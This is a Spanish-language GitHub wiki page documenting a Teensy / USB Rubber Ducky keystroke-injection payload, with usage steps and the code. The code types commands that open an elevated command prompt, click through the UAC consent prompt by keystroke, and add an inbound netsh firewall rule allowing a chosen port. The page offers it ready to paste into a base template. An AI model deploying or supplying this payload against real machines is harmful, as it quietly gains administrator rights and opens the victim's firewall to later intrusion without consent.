Payload Abrir Puerto Firewall - H3LL0WORLD/Teensy-Plantilla-Base GitHub Wiki
##¿Qué hace?
- Crea una regla en el firewall para abrir el puerto con el protocolo especificado.
##Créditos:
- Plantilla Base: H3LL0WORLD
- Versión para USB Rubber Ducky, crédito a sus respectivos autores.
- Version para Teensy 3.2 y mejoras: H3LL0WORLD
##Uso
- Poner el código en la función payload al final de la plantilla base.
- Modificar la variable 'Protocolo' con el protocolo a usar (normalmente TCP).
- Modificar la variable 'nombreRegla' con el nombre que se le asignará a la regla.
- Modificar la variable 'Puerto' con el puerto a abrir.
// UDP/TCP
String Protocolo = "TCP";
String nombreRegla = "Ejemplo";
int Puerto = 1234;
// Delay promedio en milisegundos
int ds = 750;
// Abrir cmd como Admin
GUI(R);
delay(ds);
Escribir("powershell Start-Process cmd -Verb runAs");
delay(ds*2);
Izq();
Enter();
delay(ds*3);
// Agregar regla
Escribir("netsh advfirewall firewall add rule name='" + nombreRegla + "' dir=in action=allow protocol=" + Protocolo + " localport=" + Puerto);
delay(ds);
// Salir
Escribir("exit");